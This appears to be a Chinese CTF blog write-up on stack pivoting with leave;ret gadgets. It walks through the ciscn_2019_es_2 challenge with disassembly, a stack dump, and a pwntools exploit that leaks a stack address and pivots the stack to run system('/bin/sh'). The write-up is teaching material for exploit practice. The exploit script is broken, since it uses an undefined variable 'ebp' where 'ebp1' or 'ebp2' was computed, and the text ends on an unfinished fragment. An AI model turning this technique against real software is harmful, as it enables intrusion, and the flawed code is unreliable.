前言 当栈空间不够利用或者无法利用时,我们又需要利用rop的时候,栈迁移可以帮助我们。
下面介绍几种常见的栈迁移方法,持续更新!
double ret double ret就是通过将ebp覆盖成我们构造的fake_ebp ,然后利用leave ; ret
这样的gadget将esp劫持到fake_ebp的地址上
原理 假设可以覆盖ebp
1 2 3 4 5 esp | | | ... | ebp | fake_ebp | | ... | |leave_ret |
第一次leave ; ret
1 2 mov esp; ebp pop ebp #此时ebp的值为fake_ebp
第二次leave ; ret
1 mov esp; ebp #esp的值为fake_ebp
例题 下面以ciscn_2019_es_2为例
checksec
1 2 3 4 5 6 [*] '/mnt/hgfs/pwn/buuoj/es_2_stack_pivot/ciscn_2019_es_2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
程序漏洞很明显,32位程序下有8字节的栈溢出,可以覆盖到ebp和函数返回地址
1 2 3 4 5 6 7 8 9 10 int vul () { char s; memset (&s, 0 , 0x20 u); read(0 , &s, 0x30 u); printf ("Hello, %s\n" , &s); read(0 , &s, 0x30 u); return printf ("Hello, %s\n" , &s); }
利用方式:
1、第一次read和printf可以泄露栈地址
2、第二次read可以进行栈迁移将栈压低,刚好可以利用vul函数的main函数的double ret
vul函数
1 2 .text:080485FD leave .text:080485FE retn
main函数,需要注意的是main函数的返回稍有不同
1 2 3 4 .text:0804862F mov ecx, [ebp+var_4] .text:08048632 leave .text:08048633 lea esp, [ecx-4] .text:08048636 retn
栈布局
1 2 3 4 pwndbg> x/12wx $ebp-0x28 0xff975d10: 0x61616161 0xff975d20 0x62626262 0x08048400 0xff975d20: 0x63636363 0xff975d28 0x6e69622f 0x0068732f 0xff975d30: 0x70707070 0x70707070 0xff975d18 0x0804862a
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.terminal = ['tmux' ,'split' ,'-h' ] p = process('ciscn_2019_es_2' ) sys_plt=0x8048400 pl='a' *0x20 +'bbbbbbbb' p.send(pl) p.recvuntil('b' *8 ) ebp1=u32(p.recv(4 )) print(hex(ebp)) ebp2 = ebp1 - 0x10 pl2=('a' *4 +p32(ebp-0x18 )+'bbbb' +p32(sys_plt)+'cccc' +p32(ebp-0x10 )+'/bin/sh\x00' ).ljust(0x28 ,'d' )+p32(ebp-0x20 ) gdb.attach(p) p.send(pl2) p.interactive()
pop leave 可以直接利用